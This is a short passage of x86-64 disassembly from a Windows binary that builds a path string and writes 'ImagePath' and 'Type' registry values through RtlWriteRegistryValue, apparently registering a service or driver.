call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, rdi
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400412b0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140041317
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140250c20
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret